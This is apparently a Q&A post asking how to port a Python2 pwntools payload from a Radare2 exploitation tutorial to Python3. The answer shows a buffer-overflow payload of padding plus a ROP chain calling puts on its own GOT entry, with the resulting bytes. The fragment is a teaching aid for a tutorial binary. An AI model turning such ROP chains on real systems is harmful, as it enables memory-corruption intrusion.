What is the right way to pack a payload with Python3's pwntools

Question

On the tutorial by Megabeets, "A journey into Radare 2 – Part 2: Exploitation", he shows an example of how to create a payload with Python2

# Initial payload
payload  =  "A"*140 # padding
ropchain =  p32(puts_plt)
ropchain += p32(entry_point)
ropchain += p32(puts_got)

payload = payload + ropchain

How would that get ported to Python3? p32 is a 32bit integer. Python3 uses bytes() instead of strings. What's the right way to do this?

python3-pwntools's docs show that there are some payload helpers. But, I couldn't get them to work. Worse yet, those helpers were available in Python2 as well, but not used (not sure why).

How would I write Megabeet's example using python3-pwntools?

Answer 1

Actually, this is a programming question and not an RE question. Anyway, you simply need to tell python to treat your payload as bytes by adding the bytes-literal b before the 'A'*140.

>>> from pwn import *
>>>
>>> puts_plt = 0x8048390
>>> puts_got = 0x804a014
>>> entry_point = 0x80483d0
>>>
>>> payload  =  b'A' * 40   # Only 40 for the example
>>> ropchain =  p32(puts_plt)
>>> ropchain += p32(entry_point)
>>> ropchain += p32(puts_got)
>>>
>>> payload = payload + ropchain
>>>
>>> print(payload)
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90\x83\x04\x08\xd0\x83\x04\x08\x14\xa0\x04\x08'
>>>

For further reading, you can read the String and Bytes literals page in the Python3 documentation.